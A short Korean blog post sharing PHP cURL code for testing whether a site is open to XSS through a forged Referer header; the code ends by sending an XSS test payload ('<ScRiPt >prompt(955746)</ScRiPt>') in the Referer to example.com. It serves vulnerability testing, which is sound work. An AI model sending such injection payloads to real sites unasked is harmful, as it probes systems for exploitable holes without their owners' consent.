[PHP] Referer 이용한 XSS 공격 테스트를 위한 코드

PHP의 $_SERVER[‘REFERER’] 값을 변조해서 XSS 공격을 시도하는 등의 경우를 테스트하기 위해 만들어본 테스트 코드이다. cURL을 사용했고 url, referer 값을 전달하면 되는 간단한 코드이다. 일단 GET 방식에서만 테스트를 했기 때문에 POST는 어떻게 될지 모르겠다. 나중에 시간적 여유가 생기면 시도를 해보던가 할 생각이다.

<?php
function curl_xss_check($url, $referer='', $method='GET', $data=array())
{
    $curl = curl_init();

    $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
    $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
    $header[] = "Cache-Control: max-age=0";
    $header[] = "Connection: keep-alive";
    $header[] = "Keep-Alive: 300";
    $header[] = "Accept-Language: en-us,en;q=0.5";
    $header[] = "Pragma: ";

    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.12011-10-16 20:23:00");
    curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
    curl_setopt($curl, CURLOPT_ENCODING, "gzip,deflate");
    curl_setopt($curl, CURLOPT_AUTOREFERER, true);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_TIMEOUT, 30);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION,true);
    curl_setopt($curl, CURLOPT_REFERER, $referer);
    if($method == 'POST') {
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    }

    $html = curl_exec($curl);
    //echo 'Curl error: '. curl_error($curl);
    curl_close($curl);

    return $html;
}

echo curl_xss_check('http://example.com/file.php', '\'"()&%1<ScRiPt >prompt(955746)</ScRiPt>');
?>

이런 코드를 작성하면서 왜 REFERER 값을 변조할 수 있도록 허용했을까? 하는 생각이 들었다. 필요하니까 그랬을 수도 있겠지만.. XSS 취약점이라고 매번 올라오니 내 입장에서는 아주 미치겠다.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.